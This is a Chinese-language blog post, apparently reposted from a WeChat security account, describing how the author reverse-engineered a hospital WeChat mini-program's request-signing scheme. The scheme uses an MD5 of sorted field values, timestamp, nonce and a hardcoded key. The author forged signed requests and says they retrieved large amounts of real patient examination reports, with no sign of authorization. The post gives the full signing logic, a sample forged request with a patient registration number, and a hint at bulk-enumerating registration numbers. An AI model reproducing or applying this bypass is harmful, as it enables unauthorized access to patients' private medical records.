声明:
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。合法渗透,本文章内容纯属虚构,如遇巧合,纯属意外。
前言
最近刚单招高考完,一直在躺平,几乎没怎么碰挖漏洞。
但上周末偶然翻到之前收藏的目标列表,便想着正好梳理一下这些目标的安全性,结果意外发现并成功绕过了某医院微信小程序签名机制,最终获取到大量真实的检查报告数据。
反编译
本次逆向过程中,我使用的是e0e1-wx的微信小程序自动化辅助渗透脚本,使用该工具,成功获取到微信小程序中的app.js、request_param.js等关键文件,进一步分析其加密与签名逻辑。
抓包
修改paadmVisitNumber值出现非法操作
timestamp:请求的时间戳。
noncestr:一个随机字符串或数字。
requestbody:包含请求参数的 JSON 字符串。
破解 sign 签名
在抓包过程中,发现修改参数 aadmVisitNumber 会触发“非法操作”的提示,说明接口存在签名校验。 接着将反编译后的代码导入 VSCode,用关键词 sign 、 md5 、 timestamp 搜索,找到了位于 request_param.js 中的关键签名生成逻辑。
i
开始var i = "";
也就是说,一开始 i 是一个空字符串,用于拼接生成签名所需的所有数据。 随后将时间戳(timestamp)、随机数(noncestr) 和一个**写死的密钥(123456)**拼接到 i 中:
var timestamp = +new Date(); // 当前时间戳(毫秒)
var noncestr = Math.floor(10001 * Math.random()); // 一个 4 位随机数
str += timestamp + noncestr + "123456"; // 关键是这个 123456 是写死的密钥
每次生成一个不同的 4 位随机数,是为了确保每次请求的唯一性
var l = +new Date(); // timestamp
var m = Math.floor(10001 * Math.random()); // noncestr
i += l; // 拼接 timestamp
i += m; // 拼接 noncestr
i += "123456"; // 拼接密钥(写死)
然后,将字符串 i 的每一个字符拆分出来,放进数组 c 中,再对数组排序,.sort()
默认是按字符的 ASCII 编码顺序排序。
var c = [], v = 0;
for (v = 0; v < i.length; v++) c.push(i.charAt(v));
var f = c.sort(); // ✅ 关键排序
var sortedStr = str.split("").sort().join("");
var sign = e.md5(sortedStr);
i=<所有字段值> + l + m + 123456
POST ******************* HTTP/1.1
Host: *******************
Content-Length: 271
{
"noncestr":5689,
"timestamp": 1747146109550,
"requestbody": {
"regNo": "0001227561",
"startDate": "2018-04-13",
"endDate": "2025-05-13",
"hospitalId": "5ac1bfc78a4b4772b816dcf9f58fb099"
},
"sign": "22e313b26a4c5573f6c3c6fd27af81ac"
}
["regNo", "startDate", "endDate", "hospitalId"] //字段名
var o = t; // o 是 requestbody
var a = [];
for (var n in o) a.push(n); // ① 提取字段名,放进数组 a
var s = a.sort(); // ② 对字段名升序排序
var o = {
regNo: "0001227561",
startDate: "2018-04-13",
endDate: "2025-05-13",
hospitalId: "5ac1bfc78a4b4772b816dcf9f58fb099"
};
var a = [];
for (var n in o) a.push(n);
a = ["regNo", "startDate", "endDate", "hospitalId"]
var s = a.sort();
s = ["endDate", "hospitalId", "regNo", "startDate"] //按照字段名排序
i=<所有字段值> + l + m + 123456
2025-05-135ac1bfc78a4b4772b816dcf9f58fb09900012275612018-04-13
i
的完整值为:i=2025-05-135ac1bfc78a4b4772b816dcf9f58fb09900012275612018-04-1317471461095505689123456
i
进行按字符的 ASCII 编码排序,然后生成 MD5 签名.写了一个小脚本,i进行ASCII编码排序后的结果。
尝试发送请求,发现不再提示“非法操作”是没绕过,发现提示"检查报告数据为空",说明签名校验已经成功绕过。
下面贴一张未能绕过时的截图作为对比。
其实分析到这里,签名生成的整个思路就已经非常清晰了。相信很多大佬看到这里都会直接写一个脚本,批量遍历 regNo 来获取更多数据。
整体来看,这次分析只是一次临时起意的逆向练手,目标也只是出于技术兴趣进行的探索。从中梳理了一个较为简单的小程序签名生成逻辑,并成功实现了请求模拟与绕过。虽然过程不复杂,但也再次验证了——即便是常见的加密方式,如果实现逻辑过于简单或密钥硬编码,依然可能成为系统的薄弱点。
文章仅做记录,内容也仅供技术研究参考。希望能为今后分析类似小程序结构提供一点思路。
原文始发于微信公众号(梅苑安全):某医院微信小程序签名机制绕过分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论